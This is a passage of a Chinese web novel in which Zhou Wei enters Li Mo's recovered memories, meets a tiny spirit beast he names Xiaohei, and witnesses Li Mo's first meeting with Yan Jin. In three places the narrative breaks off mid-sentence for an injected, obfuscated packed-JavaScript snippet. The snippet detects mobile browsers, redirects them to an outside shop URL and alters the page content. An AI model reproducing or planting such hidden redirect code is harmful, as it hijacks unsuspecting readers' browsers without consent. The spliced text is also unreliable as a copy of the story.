“偶然。”李默道:“我化形之后流浪了很长一段时间,因为没有合法身份,所以只能找一些要求不太严格的工作,帮忙打零工。严瑾遇到我的时候我正在雍京的一处渔场帮工,给各大酒店和餐厅送货,工资日结。” 周纬道:“工资多少?” “每天二十,我干了两个月。”李默笑着,露出一口亮晶晶的白牙。 每天二十你是怎么在首都那种地方活下来的!仗着自己是妖类饿不死是吗?! 周纬一巴掌拍在自己脑门上,同时心中燃起了熊熊怒火,暗自决定下次去雍京就把那黑心的渔场老板找出来举报了。 “难怪严瑾会介绍你加入异监局,”周纬由衷感慨道:“每天二十的工作你都能干两个月,居然还没有黑化成反社会人格,没有跑去杀人越货打家劫舍,这觉悟这素质,要我看基本可以免除政审了。” 李默:“?” 总感觉周纬这句表扬怪怪的。 不过说笑归说笑,周纬放下手想了想,还是感觉有一丝违和。 雍京作为首都,人口近两千万,超自然生物密度更是全国各地之最,光S级大妖就聚集了不下五个,A级的数量更是要往两位数上数。可以说,李默虽强,但在众妖云集的雍京,也实在是算不上什么,更不至于会被一位大监察官看在眼里。 所以严瑾在渔场跟李默的那场相遇,真的是巧合吗? 现在线索太少,暂时还没办法推断,果然还是要等李默找回了那段失去的记忆再说。 于是周纬道:“走吧,白泽他们应该已经准备好了。” * 白泽给人治病的风格一向比较癫狂,这次看着更是让人摸不着头脑。只见重明往院中那棵大槐树下放了把椅子,旁边摆了张小几,准备工作这就算是完成了。 李默直到被重明推着坐进椅子,仍旧是一脸茫然:“我需要做什么?” “你闭嘴听着就行。”白泽站在他面前,肃然道:“现在宣布注意事项。” 他这句话说得跟“考场须知”似的,李默和周纬都不自觉地紧张起来,只见白泽在那个随身药囊里掏了掏,掏出了一个香炉——他那个药囊也不知是什么做的,各种乱七八糟的东西都能从里面掏出来——和一根红色的线香,端端正正地摆在小几上插好了。 “这根香叫‘引神香’,能够引导着你的意识进入识海,你需要做的就是放松心神,不要抵抗。”白泽对李默道:“引神香能够自动帮助你找到你失落的记忆,你只需要跟着香线的指引走,不管看到了什么,都尽量不要产生太大的情绪波动。因为心神起伏越大,香燃得越快,要是一炷香燃尽还不能把你丢掉的记忆全都找回来,那就很麻烦了,懂吗?” 李默深吸一口气,点了点头:“开始吧。” 白泽于是转身,点燃了那根线香。 那根“引神香”也不知是什么材质做的,点燃之后烟气袅袅,却是凝而不散,白色的烟气凝聚成了一根细线飘向李默。李默轻轻吸了一口,只觉得鼻端充盈起了一股甜腻的香味,意识立刻昏昏沉沉,眼前的一切都朦胧起来。 然而恰在此时,白泽却突然“咦”了一声。 只见那引神香的白色烟气大半都缭绕在李默身上,却忽然分出了细细的一股,朝周纬的方向飘来。 周纬立时紧张起来:“这是什么意思?” 白泽和重明都诧异地望向他,白泽惊疑道:“这个反应……你是不是进过他的识海?” 周纬一愣:“你怎么知道?” 用傀儡符进夜市那一次,李默曾经让他的一缕神识进入过自己的识海,但这事儿他们俩应该都没有对别人说过。 白泽闻言立马瞪大了眼睛:“识海这种地方他都让你进去了?!你们俩到底什么关系?” 周纬额角青筋暴跳:“现在是说这个的时候吗?!李默到底怎么样?!” 李默垂首坐在扶手椅上,看起来已经沉沉睡去了,白泽沉吟了一下道:“倒是不会有什么影响,你进过李默的识海,引神香应该是混淆了你们俩的气息,这样下去顶多就是香燃得快一点,倒也没有什么……” 此时周纬也已经忍不住闻了几下引神香的香气,只觉得意识立马混沌起来,眼前的景物开始喝醉了似的摇摇晃晃,白泽的声音忽远忽近的听不真切,然而他还是强撑着精神,口齿不清道:“什……什么?” 他没看到白泽的脸上突然浮起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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绝不是城市里那种带着汽车尾气和尘土味儿、吹起来都有气无力的风,而是久违的、携裹着青草、林涛和水汽,在浩渺山间奔荡冲涌,充满生命力的山风。 这风吹得他一激灵,下意识地抖了抖身子,睁开了眼睛。 入目一片山野。 天空蔚蓝高远,一碧如洗。他像是站在一片高处的山岩上,山崖之下,是此起彼伏、一望无际的重重林涛。巍峨山岭绵延起伏,远处雾霭重重,近处又是层层叠叠的苍翠之色,山风浩渺掠过,脚下林浪如潮,一层一层地往远方涌去。 他这是来到了某座山里? 周纬立刻想起来,失去意识之前,白泽好像正在帮李默找回失去的记忆。 他最后说了一句什么来着? 好像是“……你也给我进去吧”? 周纬:“……” 所以白泽这是一脚给他踹哪里来了?这里难道是李默的记忆吗?! ……难怪场景转换得这么突兀。 周纬试着感知了一下四周。周围的环境很陌生,他没办法判断自己究竟是在什么地方,但从脚下和远处的植被来看,并不是南方常见的类型,看起来应该是在偏北方的某处深山老林里。 现在应该是过午时分,不冷,但也能感觉到气温有点低了——时间应该在深秋或初冬。 所以李默这时刚刚打了个盹儿,睡醒了? 周纬好奇地试了试,发现自己五官六感运作正常,胳膊腿儿哪哪都不缺,意识也很清醒——但是动不了。 也是,他现在本就是一抹虚无缥缈的意识,五官六感和胳膊腿儿都是李默的,他能指挥得动就怪了。 这么看来,他现在所看到、听到、感受到的一切,应该都是李默当初的经历。白泽这一通操作,把他变成了个第一视角的看客,全景沉浸式地体验了一把“当李默”的感觉。 唔…… 还怪好玩儿。 这新奇的念头一起,周纬立时乐了,立马收拾好思绪准备“入戏”,体验一下“当李默”是什么滋味儿。 紧接着就觉得“自己”——李默——拉直身子,伸了个大大的懒腰。 视角骤然下降,眼前突然出现了两只黑乎乎的东西。 很粗,很长,很大,还有毛。顶部尖锐闪亮,透着瘆人的寒光。 ——是两只爪子。 周纬:??? 周纬:!!! 他骤然反应过来,这是他的——不对——这是李默的爪子啊! 等等等等等等—— 李默确实说过,他失去的是化形那段时间的记忆…… 但他没说具体是化形前还是化形后啊! 所以他这是回溯到了李默化形之前,妖兽形态的时候???!!! 周纬:…… 周纬:卧槽。 他变成了妖兽状态的李默啊啊啊啊啊啊!!! 71.小黑 周纬现在的心理状态,说实话,有点疯。 不是抓狂的那种疯,是兴奋得快要疯了。 这可是未化形的李默,是李默的原身啊! 周纬其实不止一次好奇过李默的原身是什么,但他从来都没敢开口问。因为褪去原身、化作人形,对绝大多数妖类来说都不是什么愉快的事,就好比打游戏,辛辛苦苦养了个号,一朝登录,突然被系统强行改头换面了,不管硬塞过来的新号到底配置是高是低,总归不是自己当初的手感。 更何况这种变化还是强制的、单向的,一旦化形,这辈子都不可能再恢复原身,甚至都没地方找人说理去。 所以周纬再好奇也没敢问,就怕李默听了不开心。 其实虽说妖类一旦化形就无法再恢复原身,但想要弄清楚李默的原身是什么,办法还是有的。上次在新莲码头,李默妖力爆发之时,身后曾经就出现过他的妖身虚影,登天踏地,威势煊赫,端的是叫人心折。 然而当时离得太远,周纬自己也重伤在身,只见到远处高天之上黑云缭绕,云雾中影影绰绰有一只气势磅礴的巨大妖兽,但是究竟是什么样子,终究还是没看清楚。 所以他到现在都没见到过李默原身的庐山真面目。 没想到居然在这里遇到了机会! 一时间周纬百爪挠心,恨不得天降一面百尺高的大镜子,让他好好看看李默的原身到底是长什么模样。 就在这时,李默的视角有了一点变化。 周纬现在只能看到李默记忆中曾出现过的画面,相当于与当时的李默共享五官六感。李默仿佛真的是午睡刚刚醒来的样子,浑身慵懒,伸了个懒腰之后,原地站着不动了好一会儿,像是在吹风。 他不动,周纬也动不了,趁着这个机会,周纬仔细感受了一下现在的李默传输过来的各种感官。妖类的五感之灵敏,果然不是人类可以想象得到的,周纬的只觉得眼前的世界骤然换了个画质,从480P直接升级成了帧绮臻彩UltraPlus黄金会员版,眼前世界的一丝一毫都纤毫毕现,感觉可以直接拿去实验室当显微镜用;与此同时,他的耳畔的声音也骤然清晰辽远起来,像是突然开了立体音响,360°环绕全景声,他甚至可以通过耳边一丝窸窸窣窣的响动,判断出右边大概十五米位置的地下,有一窝野耗子在打洞。 周纬不禁感慨,妖类果然是钟灵天下之秀,连建号体验的都是氪金版。 同时他也发现了一件事——李默真的很高。 周纬自己就不算矮了,可刚刚李默的视线朝下一瞥,周纬却蓦然发现,他所看到的景物比自己平时所见的景物视角居然还要高一点,也就是说李默哪怕是四脚着地的兽型,肩高估计都要超过自己的整个身高。 那他的原身到底是有多大! 一时间周纬更好奇了,然而好奇了一会儿,他就有点沮丧地发现——好像不行。 他现在只能被动接受李默的视角,而深山老林里毕竟不会从天而降一面全身镜,李默自己也不是不知道自己长什么样子,所以除非现在他突然自恋属性大爆发,找个水潭来来回回地临水自照半小时,不然周纬还是没法知道他的原身究竟什么样。 周纬突然就有点失落。 然而这点微小的失落刚一升起,周纬就兀然发现,自己眼前景色一变。 原本好端端的山野视角,突然涌起了一片浓重的云雾,就像一张电影屏幕的四角边缘,突然被云雾入侵了似的。周纬的眼前骤然一片浓白,不多时云雾散去,周纬再向四面看,却发现自己落入了一个十分眼熟的场景。 是李默那片云雾缥缈的识海。 与此同时,他也有了实体,人手人脚地出现在了李默的识海中央。 周纬:“?” 他现在的感觉十分奇怪,但又非常熟悉。熟悉是因为当时他以傀儡符作为媒介侵入李默识海的时候,也是这种感觉。当时他的人身在外,只有一缕精神力留在李默识海内,心分二用互不干扰,内外两边都是对答如流,感觉倒是相当奇妙。 而现在他又产生了这种感觉。他分明感应得到,自己跟李默相连的感官并没有断开,仍旧随时可以继续回溯,然而同时,他又有一缕精神力被分离了出来,来到了李默的识海中。 这是什么情况?是李默带他过来的吗?这是要做什么? 还不等他把这念头转完,就见身边的雾气突然一动。 ——一个小东西突然“骨碌碌”地滚了出来。 那东西通体缭绕着乳白色的云雾,云雾一散,就露出漆黑漆黑的身形来。只见它一路滚到了周纬脚边,“咚”的一下撞到了周纬的鞋子,这才停了下来。 然后,仿佛一朵花一片一片地绽开花瓣,它把自己层层叠叠地“解”了开来,露出了真容。 那居然是一只小兽。 它的身子满打满算也就只有一个巴掌多一点儿,却长着三条毛茸茸的、几乎跟身子一般长的大尾巴,通体漆黑,四爪上带着一簇绒毛。这小家伙刚刚就是用三条长尾巴裹着身体,硬生生把自己裹成了一个黑漆漆的球,现在舒展开来,先是四爪着地,伸了个大大的懒腰,然后又扑簌簌抖了抖脑袋,脑袋上随即“噗”地一声,支棱出两条长长的耳朵来。 然后它眨了眨那双鎏金色的大眼睛,抬起头来,跟周纬对视。 周纬心跳都快停了。 这这这——这是什么啊!!! 这不会是缩小版的兽身李默吧! 周纬浑身都快石化了,那真是动也不敢动,生怕喘气声音大了惊到了这只小兽。然而这只小兽却像是专门冲着他来的,蹭着他的裤腿转了三圈,见这根人形柱子一动不动,就开始扒拉着他的裤子试图往上爬。 ——然后就见它爬了两下,“啪嗒”一声,掉下来了。 ……爪子太短,没抓稳。 周边云雾一阵翻涌,似乎发出了一声“真不中用”的幽幽叹息。 周纬抽风一样哆嗦着,蹲下身来,伸出手想要摸一摸这只小兽,然而终究还是没有这个贼胆,于是哆嗦半天,终于伸出了……一根手指。 然后就见那只小兽歪了歪脑袋,看了看伸到自己鼻尖前的那根手指。 随即张开口,“嗷呜”一声,含住了。 周纬:“!!!” 要老命了啊啊啊啊啊!!!! 他猛扑过去,一把抱起那只小兽,又搂又亲又蹭,蹭得它浑身黑亮的毛发乱七八糟,“嗷呜嗷呜”直叫唤,最后实在受不了了,一人一兽一起在地上打滚。 这世界上怎么会有这么可爱的生物!! 最后终于滚够了,周纬一翻身盘腿坐起,两只手把那小兽抄起悬在空中,看着它两只滴溜圆的大眼睛,郑重严肃道:“你是我的了。” 小兽眨了眨眼睛。 “你想要个什么名字?”周纬兴致勃勃道:“霹雳?雷霆?金刚?罗刹?霸王?” 他一连说了十几个自以为好听的名字,然后就见他越说,小兽的耳朵越往下耷拉,连金闪闪的兽瞳都黯淡了下来。 “不喜欢?”周纬挠了挠头,犯了难:“那你喜欢什么样的名字?” 小兽圆圆的眼睛转了转,随即“啊呜”一口,咬住了自己的左前爪。 “嗯?”周纬一时没能get到它这个动作的意思:“这是想叫什么?咬咬?爪爪?” 小兽摇头摇得两条长耳朵乱甩。 “那是什……”周纬话说到一半,突然福至心灵,恍然大悟道:“明白了!你喜欢黑色是不是?唔……刚好你爸叫李默,那你就叫……小黑?” 小兽又是“嗷呜”一声,伸出舌头舔了一口周纬的脸颊。 舔得周纬又在地上翻滚。 等到他终于滚够了,这才盘腿坐起,把刚得了新名字的小妖兽抱在怀里,心满意足地开始捋它柔软的耳朵和蓬松的长尾巴,捋得它舒舒服服地窝在自己的臂弯里,喉咙里“呜噜呜噜”地直叫唤。 与此同时,他终于分了点注意力给外界,把还在回溯中的李默想起来了。 他在识海里跟新得的小妖兽卿卿我我的时候,外面的李默也没闲着。周纬连通着他的五感,看着他从自己午睡的那块山岩上跳了下来,开始顺着陡峭的岩壁,一路向下。 李默原身虽大,但并不笨重,反而十分轻盈矫健,在嶙峋的山岩间奔跑跳跃也是如履平地。周纬静心感受了一下李默奔跑时的感觉,越发觉得妖类之身果然是得天独厚。他能感觉到李默的四肢充满着强悍的爆发力,奔跑时浑身肌肉如流水般涌动,充盈的力量感遍布全身,行动迅捷而又轻盈,这种拥有无穷无尽的力量随心调配的感觉,委实令人心折。 与此同时,他还发现了另一件事——李默极少动用妖力。 他现在还未化形,也没有灵枷压制束缚,按理来说正是妖力丰沛充盈的时候。如果以妖力作为托底缓冲,他恐怕直接从那数十米高的山崖上跳下去都不会有什么问题,然而这一路在山岩间飞跃腾挪,周纬却始终没见李默动用一丝一毫的妖力,单纯是凭借着□□力量行动。 难怪他后来身负灵枷也习以为常,原来他化形之前就习惯了主动压制妖力。 数十米高的陡峭山崖,李默几个呼吸的功夫就冲到了崖底,随即,周纬就感觉到他甩了甩尾巴,理了理被山风吹乱的毛发,随后踱着步,开始巡山。 从李默的记忆里,周纬得知了这座山的名字,叫做“妄山”,是一座绵延数百公里的山脉,位置应该在燕北省西北部,已经十分靠北了,难怪天气会偏寒。 而在周纬自己的记忆里,也有“妄山”这个名字。据他所知,妄山山脉周边是一大片自然保护区,外围开发了一小块区域作为景区,还开辟了几条登山徒步线路,但是内部的大片原始森林都未对外开放,偶尔在新闻上看到,要么就是发现了几个新的濒危物种,要么就是警方又从哪里捞出了几个迷路驴友。 现在看来,难怪这里不对外开放——看来当地异监局对此处有何物盘踞并非毫不知情。 说是巡山,但在周纬看来,其实就是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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……果然还是他认识的那个李默。 “你爸爸,真的是个很好的山林之主呢。”周纬对着窝在他怀里的小黑微笑道。 “嗷呜?”小黑抖抖耳朵,舒服地蹭了蹭周纬的手心。 就这样转眼间,夜幕已至。 周纬跟着李默,在这大山深处待了一下午,好端端的做了半天的“山林之主”,悠闲自在够了,却也不免心生疑惑。 这就是李默丢失的记忆么?这记忆有什么不寻常的,还能让严瑾亲自出手抹掉? 不对,一定有什么事情还没发生。 也许真是念什么来什么,就在周纬产生这个念头的同时,外界突然起了变化。 如今已经时近午夜,夜色寥廓森然,李默也已经回到了他之前午休的那片山岩上准备休息。然而就在此刻,脚下山林边缘,一群鸟雀突然扑簌簌惊飞而起,同时远处传来了一声凄厉的尖啸。 外界的李默和周纬怀里的小黑同时抬头。 那声尖啸带着滚滚声浪扫荡整片林海,冲击波甚至掀得高处的李默都毛发翻飞起来——那不是单纯的声浪冲击,中间还夹杂着混乱凌厉的磅礴妖力! 这是有敌袭?! 周纬怀里的小黑“呼”的跳下地来,浑身毛发炸起,长耳长尾齐齐上竖,利爪弹出,呲出了幼嫩而尖锐的犬齿。 然而周纬的第一反应是很奇怪。 妖类,尤其是尚未化形的妖兽,往往具有很强的领地意识,越强大的妖类,自己的领域就越不容许其他的妖类进犯,擅闯其他妖类的领地就跟当面宣战差不多。虽说妖类之间同类相食的情况司空见惯,但从刚才那一声长啸所裹挟的妖力强度来看,那只妖类的水平大概也就在A级左右,虽然不可谓不强,但跟李默也就是伯仲之间,他干什么这么不开眼地来挑衅李默? 然而,不等周纬脑子里还转完这个想法,他就突然感觉浑身一震,李默动了。 肩背耸立,腰腹紧绷,四爪如同弹簧一样绷直,随即猛然发力——李默如同离弦之箭一样冲了出去! 这一次与下午时又有不同。直到这时,周纬才真正感受到A级妖类的身体强度是个什么概念。李默全力爆发时,哪怕没有妖力加持,速度也几乎可以用“迅疾如电”来形容,他整个身躯几乎化成了一道在密林中游走的阴影,所过之处片叶不沾身,周纬的视角跟着他迅疾地向后掠去,几乎有种自己坐在高铁车厢外的错觉。 幽深的森林片刻就被甩在身后,李默跃出林间,来到了一处平缓的山坡,一个急刹四爪稳稳踏向地面,长尾轻盈摆落。 与李默意识相连的周纬呼吸急促,兴奋得满眼放光。刚刚李默全力爆发时,那种奔涌如潮的力量感也同时涌动在他的身上,让他不由自主地呼吸加速,心驰神荡,直到此刻都还有些意犹未尽。 然而扑面而来的腥风立刻冲散了他的兴奋。 他和李默同时眯起眼睛,警惕地望向了下方的山坡。 那里有一个“东西”。 72.严瑾 这玩意儿在周纬这里只能叫“东西”,因为除此之外,周纬实在想不到有什么别的词可以形容它了——这玩意儿的外形着实有些突破他的想象力和词汇上限。 它像是打算把自己弄成个人形,结果却事与愿违,活生生整成了个海星——还是个灌足了核污水后变异的版本。它足有近三米高,四肢都被扭曲怪异地拉长了,变得面条一样纤细绵软,然而却偏偏还提供了足够的支撑力,撑起了中间那个臃肿的躯干。而那躯干和本来应该是“头部”的地方,全部都生长着巨大的畸形的肉瘤,压得它重心不稳,完全朝侧后方偏了过去,看上去摇摇欲坠,却偏偏还能保持直立,居然就以这种诡异的姿势定在了山坡上。 那些肉瘤还在不断地往下滴滴答答地流黏液,所过之处草地都被腐蚀得一片焦黑,简直像个大型移动污染源。 周纬只感觉一阵头皮发炸。 这到底是什么玩意儿?《怪形》片场的NPC吗?!这画风都不对了吧?! 饶是天下妖类千千万,奇形怪状的不计其数,周纬也从未想过还有这样……混乱扭曲的生物。 但这玩意儿偏偏还有妖力。 有妖力,就应该是妖类,然而这玩意儿的妖力也非常之不对劲。距离拉近之后,周纬能明显感觉到,那东西身上溢散出来的妖力非常驳杂混乱,极不稳定,且根本无法判断到底是什么属性,像是各种各样的妖力搅和在了一起,汇成了一个乱七八糟的大染缸。 可这混乱驳杂的妖力偏偏又强度极高,已经实打实站在了A级的水平线上,以周纬的感知看来,竟然比现在的李默还要隐隐高上一线。 这玩意儿到底是哪儿来的?它又怎么会出现在这里? 然而还没等周纬脑子里乱飞的思路理出个结果,他就感觉到李默动了。 他朝那个异形的妖类直接扑了过去! 周纬顿时魂飞天外。 等等等等——你扑什么?!你搞清楚这是个什么玩意儿了吗你就扑! 记忆回溯到现在,周纬也算是有了点心得。他与李默无法意识沟通,却能感受到李默当时当下的情绪状态。毕竟“思绪”和“意识”这种东西是需要即时传输的,而周纬体验的只是李默彼时的记忆,无法与他面对面交流;但“情绪”这种东西,却会留在回忆里,随着回溯一起传递给他。 所以周纬自苏醒开始,就感觉到李默的情绪一直非常稳定平和。即使发现有别的妖类入侵妄山,他也没有产生什么太大的情绪波动,似乎跑过来只是打算先看看情况。 这个状态倒确实很像是周纬认识的那个李默,无论何时都能保持情绪稳定,颇有点“泰山崩于前而色不改”的意思。 但他属实没想到,李默动手的时候居然也这么情绪稳定! 几个意思!所以他平时就是这么大气不喘地去干那些要人命的事儿的是吗?! 一时间周纬几乎要疯,恨不得化出实体亲自上去拦了,手上一下子失了力道,掐得怀里的小黑都“嗷”的一声;与此同时,李默已经冲到了那怪物身前,一声不响,骤然就是一爪子挥了下去! 周纬顿时汗毛倒竖——脏! 要了命了!那玩意儿身上有黏液啊!还是腐蚀性的!要沾到爪子上了! 刹那间周纬就像个无能为力的养宠人,眼睁睁看着自家洗的香喷喷白净净的宠物活蹦乱跳地冲向一滩烂泥塘,绝望地一闭眼—— 然而过了半晌,他却并没有从李默的爪子上,感受到预想中的灼痛感。 周纬愣了一下,这才反应过来——等等。 他低头“看”了一眼,果然,李默的右前爪上笼罩着一层薄薄的黑色雾气,缭绕盘旋一阵,倏然又缩回了趾爪中。 也对,李默这个时候还没有戴上灵枷,是有妖力的,妖力护体之下,隔绝这点黏液当然不成问题。 那怪物本就四肢纤细,在山坡上移动的时候都走得摇摇欲坠,被李默这么一爪子抽下去,一条作为支撑的下肢应声断裂,“啪”的一声□□爆溅,它的身体顿时失去平衡,就这么咕噜噜地滚下了山坡。 李默没有追击。他八风不动地站在山坡上,居高临下地看着那个怪物怎么爬上来的,又怎么原路滚下去了。 ……然后就见他低下头,前爪扒拉了两下。 锋利的趾爪收了回去,李默轻轻刨开了眼前的一处地皮,从里面扒出来了——一窝兔子。 土黄土黄的,看看有七八只,小的还没睁开眼,大的被李默扒拉出来了之后就懵懵懂懂地原地打转,李默用爪子推了两下,它也不走,就在自己那一堆小崽子身边嗅来嗅去。 周纬就感觉李默的意识里,传来一阵明显的无奈情绪。 然后就见他身上飘出了一股黑雾,卷起这懵懵懂懂的兔子一家,远远地送走了。 周纬顺着李默的视线往前看,就见那怪物爬上来的时候,一路上留下了一道长长的、漆黑的腐蚀灼烧痕迹,一直延伸到兔子窝半米开外,然后戛然而止。 原来,刚刚李默不经试探就突然动手,是为了保下这一窝野兔子。 那怪物已经稀里哗啦地滚下了山坡,撞入了一处岩石嶙峋的山坳里。李默送走了那兔子一家,刚要下去查看,突然长耳一抖,就听见山坳里几道人声响了起来。 “找到了!在这里!” “卧槽这是什么鬼?!” “我的妈这是妖类吗?!怎么会有这么奇形怪状的妖类?!” “别废话了,先抓了再说!” 紧接着就是几声枪响,强横的灵力波动顿时弥漫开来。 周纬精神一振,这灵力枪是异监局配发的制式武器——异监局的人来了! 但是紧接着他就意识到不好——李默还在现场呢! 异监局的规矩,对于李默这种尚未化形但妖力强大的妖类,只要不随便出世扰乱人间秩序,通常是不管不究的。临津市在妄山周边又是建景区又是设立自然保护区,一来是为了开发旅游资源,二来最重要的还是规范此地普通人的往来出入,不让他们随意进山搅扰山灵。这也是异监局发现了野生妖兽之后的常规做法。 也就是说,临津市异监局很有可能是知晓李默的存在的,只是双方一直没打过交道,属于相安无事、井水不犯河水的状态。 可如果他们发现李默出现在案件现场呢? 这支外勤小队很明显是冲着那只怪物来的,但他们要是和李默迎头撞上了呢? 更别说李默刚刚还劈了他们的任务目标一爪子! 只是周纬内心再怎么感觉不好,他也什么都做不了。非但做不了,现在也已经晚了——李默根本就没有躲的意思,就这么居高临下地站在山坡上,丝毫没有掩藏自己的气息。山坳里的几个监察员已经感应到了上方的妖力,不约而同地抬起了头,顿时一片哗然。 “卧槽,怎么还有一只!” “是妄山里的那只妖兽!这家伙也跑出来了!” “那岂不是有两只A级?!” “队长呢?快通知严队!” ——严队? 恰在此时,夜空中轻风拂过,一片流云悠悠地飘开,山地上阴影移动,月光终于挣脱束缚,朝着大地慷慨洒落洁晖。 照亮了山坡上下,对峙的双方。 周纬的目光跟随着李默移动,落在了山坳中的一个人身上。 月光下,那人有着一张熟悉的脸。 对于李默来说,那是数年后与他在渔场码头相遇,介绍他加入异监局的第一责任人。 对于周纬来说,那是内网里全系统通报的讣告上,那张冰冷的遗像。 那是年仅26岁,活生生的严瑾。 * 说起来,这还是周纬第一次见到严瑾真人——虽然这个所谓的“真人”,也只是一段记忆中的幻影。 严瑾的长相是很清秀的。 异监局的外勤干员,因为常年拼杀在一线,身上大多都带着一股凌厉杀伐之气,典型的就像是燕鹏飞和洛小莉这样,看谁都自带一股“你瞅啥瞅你咋地”的找茬气场,可谓霸气侧露。 相较而言,严瑾的这种风格,简直称得上是另类了。 此刻,居高临下看去,站在山坳里的那个年轻人一身驼色风衣,长身玉立,身畔像是圈起了一泓月光。借着李默的眼力望过去,周纬可以清晰分明地看到那人的五官眉目,那眉目过分隽秀了些,让人想起深秋西风里,古巷老树上,最后的一叶婉约红枫。 周纬心头缓缓涌上了一股复杂难言的滋味。 李默将那个神秘符号交给他之后,他就开始留心严瑾的生平。他曾经在内网查阅过严瑾的人事档案,内容不算特别详尽,只有严瑾何时何地、职位如何变动的过程,以及一些立功受奖记录;至于具体参与了哪些案子、执行了什么任务、过程和结果如何,那些都是他的权限看不到的。 李默是在大约十年前化形入世,而严瑾殒命南海,是在三年前。 按照这个时间推算,回溯的这个时间点,距离严瑾离世,还有七年时光。 七年时间,说长不长,说短,也不短了。 足够冷了一腔热血,吹散满眼空梦;足够把一个人磋磨得面目全非,让人甚至不能共情过去的自己。 可此时居高临下,透过李默那双分辨率过高的妖类的眼睛望过去,周纬却恍然觉得,这个年轻得多的严瑾,跟自己多年后在内网讣告上看到的那张永久定格的照片,似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337009|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有什么不同。 时光像是已经提前预知了他戛然而止的未来,所以对现在的格外仁慈和宽容。 ……原来这才是李默跟严瑾,真正的第一次相遇。 然而这个念头甫一出现,周纬就跟浑身过电似的霍然抬头——不对! 他刚刚满心都是乍见严瑾的震惊和唏嘘,却忘了一件事——这是在回溯中! 回溯的内容都是李默遗失的记忆,这么说,是严瑾亲自抹掉了他跟李默的第一次相遇?! 为什么? 与此同时,周纬顺藤摸瓜,还想起了另一件事。 根据他之前查阅的档案,十年前的这个时间,严瑾应该尚未调任总部。他目前的职位,应该是临津市异监局监察执法大队的队长,跟现在的周纬是同级。 而周纬明明记得,严瑾调任总部、入职执行局的时间,大概就是在十年前的年底。 如果现在的时间是深秋或者初冬,那岂不是说,今夜这场相遇发生没多久,严瑾就接到了前往总部任职的调令? 那他又为什么偏偏要把今夜的事抹掉呢? 周纬心中陡然升起了一股不详的预感。 就在识海内周纬思绪翻涌的同时,外面的人也没闲着。李默已经现身,正居高临下地望着着山坳里的众人;而严瑾则像是刚刚赶到现场,朝山坳里一扫,瞬间就洞悉了目前的局势。 他抬起头,向着山坡上望去;与此同时,李默审视的目光也落到了他身上。 一人一妖的目光在半山腰猝然相遇—— 轰! 识海中周纬的思绪被瞬间打断,外界李默同时不由自主地后退一步。 一内一外,两人的心中同时升起了同一句话。 ——好强的精神力! 识海里四面云雾骤然翻涌,周纬头皮发麻,不由自主地抱紧了小黑,眼中满是骇然。 这可是在回溯里面! 周纬人并不在现场,他所感受到的,其实只是当年李默所经历过的事情,隔着接近十年的时光传递过来的心绪余韵。然而就算这样,严瑾当时投放的精神力竟然都能影响到他——这精神力的强度也太逆天了吧?! 小黑像是也受了惊,飞快地沿着周纬的胳膊蹿上了他的肩膀,三条长尾层层叠叠地环绕过他的脖子,试图蒙住他的眼睛;识海中无穷无尽的云雾像是烧开了的沸水,先是激烈滚荡了一番,随即又突然安定下来,像是被什么东西强行镇压住了,甚至探出几缕云雾绕上周纬的小腿,像是想要安抚他。 然而这还没完。 识海里刚刚安顿下来,周纬就又听见了一个声音,突兀地出现在了这一方天地间。 “见过妄山之主。” 精神力传音!这声音是直接传入识海中的! 周纬把自己眼睛上小黑的尾巴扒拉下来,只觉得自己今天真是长了好大一番见识。 他现在听到的,依然还是回溯中严瑾和李默的对话。然而,也许是因为严瑾直接以精神力将自己的声音送入识海的缘故,现在身在识海中央的周纬听着格外清晰震撼,一时间仿佛有三百六十个严瑾环绕四面同时开口,震得周纬一阵心神激荡。 他现在算是对严瑾这精神系灵力者第一人的分量有了实感——隔着数十米的距离,直接以精神力直接沟通识海,这简直匪夷所思。别说亲见了,周纬在异监局待了十多年,听都没听说过。 以这等精神力强度,别说传音过来打个招呼,就算他想要直接强冲识海夺了李默的神识,谁又敢说他不能做到的呢? 也许也正是感受到了这一份威胁,李默没有回应。 好在严瑾也没想等他的回应,识海里响起的声音不但没有丝毫压迫感,反而彬彬有礼:“我是临津市异监局监察执法大队队长严瑾,率队来此执行任务,并非有意惊扰,望山主见谅。” ……唔,进别人的地盘之前知道先知会主人一声,还挺有礼貌的。 周纬此时也反应过来了。李默尚未化形,没办法开口说话,用精神力沟通是唯一也是最便利的办法。果然,沉默了片刻之后,李默就回应了他一道意念: “不许伤我山中生灵。” 这就是同意了。 下方严瑾点了点头。李默刚才这句话,就意味着他不打算插手异监局执行公务,这样是最好的。毕竟一个A级的怪物已经够难对付了,谁都不想再平白无故对上一只A级的妄山之主。 这样看来,也许李默不必参与今夜的战斗了。 然而周纬并没有放下心来,恰恰相反,他的心里更紧绷了几分。 如果真的是像他推断的那样…… 那么这一夜,在这座妄山里,还有大事,尚未发生。 73.群战 严瑾跟李默沟通完毕,转身看向自己的队员们:“目标情况怎么样?” 队伍中有个中年人粗声粗气地回答:“趴着呢,刚才挨了上面那位一爪子,从山坡上滚下来了。” “小黎,目标的妖力样本检测有结果了吗?” 另一个清朗的女声答道:“没有!系统检索无匹配资料!” 严瑾微微皱眉。山坡上,借助李默的耳力听清了这一切的周纬也微感疑惑。 ——所以严瑾他们手头并没有这个任务目标的详细资料? 